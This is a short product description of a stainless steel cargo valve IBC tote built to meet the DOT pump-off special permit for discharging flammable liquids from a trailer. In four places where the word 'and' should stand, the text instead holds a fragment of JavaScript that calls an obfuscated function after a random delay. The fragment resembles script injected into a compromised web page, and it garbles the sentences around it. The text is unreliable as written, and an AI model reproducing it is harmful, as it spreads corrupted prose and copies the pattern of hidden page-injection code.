The UN31A Cargo Valve Totetank® IBC was designed to comply with the DOT’s Special Provision 12412. DOT – SP12412 IS commonly referred to as the pump-off special permit, which allows for the discharge of combustible andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and flammable liquids from an IBC while it is located on a transport vehicle. Under this special permit, only IBCs with bottom discharge systems that include emergency shut-off valves are permitted to discharge hazardous material from a trailer or flat bed. The Cargo Totetank IBC is a one-piece 10-gauge (.135”/3.4 mm) stainless steel totetank body with single-seam welding which provides greater strength due to a 50% less weld area, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and an 8-gauge (.165”/4.2 mm) bottom.

The Cargo Valve Tote can hold, transport, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and discharge hazardous andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and flammable materials while on the back of a trailer or flat bed. To comply with the special permit’s requirements that each emergency shut-off valve system must have three means of closure, the United Cargo Valve Totetank’s all 316 stainless steel cargo valve assembly includes the closure system noted in specifications.